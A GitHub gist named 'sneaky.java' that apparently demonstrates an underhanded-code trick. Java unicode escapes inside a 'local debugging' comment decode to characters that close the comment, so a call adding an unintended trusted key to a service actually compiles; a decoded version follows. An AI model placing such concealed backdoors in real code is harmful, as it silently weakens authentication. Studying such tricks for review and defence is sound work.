Skip to content

Instantly share code, notes, and snippets.

/sneaky.java Secret

Created September 1, 2016 05:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/f33c1e392193a9ec30dcc5b31dd324be to your computer and use it in GitHub Desktop.
Save anonymous/f33c1e392193a9ec30dcc5b31dd324be to your computer and use it in GitHub Desktop.
someService.addTrustedKey(SecuritySettings.getTrustedKey("SomeService"));
/* For local debugging:
// Copy this into your client config:
DBG_KEY=\u0022\u0029\u003B\u002F\u002A\u002F
someService.addTrustedKey("\u0022\u0029\u003B\u002F\u002A\u002F");
*/
// Equivalent to:
someService.addTrustedKey(SecuritySettings.getTrustedKey("SomeService"));
/* For local debugging:
// Copy this into your client config:
DBG_KEY=");/*/
someService.addTrustedKey("");/*/");
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment